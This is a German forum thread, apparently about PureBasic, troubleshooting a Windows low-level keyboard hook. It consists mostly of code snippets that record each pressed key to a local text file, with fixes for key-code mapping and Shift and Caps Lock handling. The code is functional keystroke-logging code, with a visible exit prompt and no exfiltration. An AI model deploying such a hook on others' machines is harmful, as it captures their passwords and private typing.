Gemeint war natürlich: Wenn du die ^-Taste abfrage möchtest, musst du 220 schreiben

Insofern muss man dann auch den Code erweitern, wenn der Virtual-Key-Code nicht mehr dem Ascii-Code entspricht^^
Code: Alles auswählen
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE) ;Escape pressed
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
If *p\vkCode >= 65 And *p\vkCode <= 90 ;A - Z und a - z
If GetAsyncKeyState_(#VK_SHIFT)
WriteChar2File("---log---.txt",Chr(*p\vkCode))
Else
WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
EndIf
EndIf
If *p\vkCode >= 48 And *p\vkCode <= 57 ;1 - 9
WriteChar2File("---log---.txt",Chr(*p\vkCode))
EndIf
If *p\vkCode = 46
WriteChar2File("---log---.txt",".")
EndIf
If *p\vkCode = 32
WriteChar2File("---log---.txt"," ")
EndIf
If *p\vkCode = 13
WriteChar2FileN("---log---.txt","")
EndIf
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
Code: Alles auswählen
If *p\vkCode = 190
WriteChar2File("---log---.txt",".")
EndIf
Code: Alles auswählen
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE) ;Escape pressed
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
Debug *p\vkCode
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
Code: Alles auswählen
If *p\vkCode = 9 ; 9 ist ASCII Zeichen für den Tabulator
Debug "TEST"
EndIf
Code: Alles auswählen
If *p\vkCode >= 65 And *p\vkCode <= 90 ;A - Z und a - z
If GetAsyncKeyState_(#VK_SHIFT)
WriteChar2File("---log---.txt",Chr(*p\vkCode))
Else
WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
EndIf
EndIf
Code: Alles auswählen
If GetAsyncKeyState_(#VK_SHIFT)
If *p\vkCode >= 65 And *p\vkCode <= 90
WriteChar2File("---log---.txt",Chr(*p\vkCode))
Endif
Else
WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
EndIf
EndIf
Code: Alles auswählen
Global Dim Array.b(256)
Procedure myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
Char.s = Space(1)
If nCode = #HC_ACTION
If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE) ;Escape pressed
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
If GetAsyncKeyState_(#VK_SHIFT) Or GetKeyState_($14) > 0
Check.i=ToAscii_(*p\vkCode,MapVirtualKey_(*p\vkCode,0),@array.b, @Char.s,0);
Else
Check.i=ToAscii_(*p\vkCode,MapVirtualKey_(*p\vkCode,0),@array(), @Char.s,0);
EndIf
If Check.i
Debug Char.s
EndIf
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure